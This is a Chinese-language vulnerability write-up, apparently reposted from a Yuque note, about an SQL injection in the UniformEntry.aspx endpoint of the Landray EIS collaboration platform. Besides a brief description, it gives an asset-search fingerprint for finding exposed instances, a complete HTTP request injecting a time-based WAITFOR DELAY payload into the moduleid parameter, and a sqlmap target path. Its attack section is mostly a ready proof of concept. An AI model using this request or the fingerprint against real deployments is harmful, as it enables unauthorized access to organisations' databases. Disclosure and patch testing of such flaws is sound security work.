登录 白背景
源码

蓝凌 EIS智慧协同平台UniformEntry接口SQL注入漏洞

一、漏洞简介

蓝凌智慧协同平台EIS以“让工作更智慧”为核心设计理念，面向成长型企业管理需求特别开发设计，旨在全面解决成长型企业的各种难题，蓝凌 EIS智慧协同平台UniformEntry接口SQL注入漏洞，<font style="color:rgb(0, 0, 0);">攻击者通过该漏洞获取数据库敏感信息。</font>

<font style="color:rgb(0, 0, 0);">二、影响版本</font>

  • 蓝凌EIS智慧协同办公平台

三、资产测绘

  • hunterweb.icon=="585275a4cc54b8414554d03e1359a101"

1695781361668-b6da51c8-4280-4dde-8fa3-62c69433e064.png

  • 特征

1695781168608-7b142276-b588-4844-837a-4bcf995ad670.png

四、漏洞复现

GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=3ec5ixjhunwabhq5poammn55; FIOA_IMG_FOLDER=FI
Upgrade-Insecure-Requests: 1

1700845595265-9fe8891d-b0c9-46bc-ad25-f2e591a1f75e.png

sqlmap

/third/DingTalk/Pages/UniformEntry.aspx?moduleid=1

1700845614218-18a08a18-9ec6-4671-85f3-6c63ac54ac95.png

蓝凌-EIS-uniformentry-sql注入_exp.yaml

原文: https://www.yuque.com/xiaokp7/ocvun2/bi7a5cfsfmebnp0z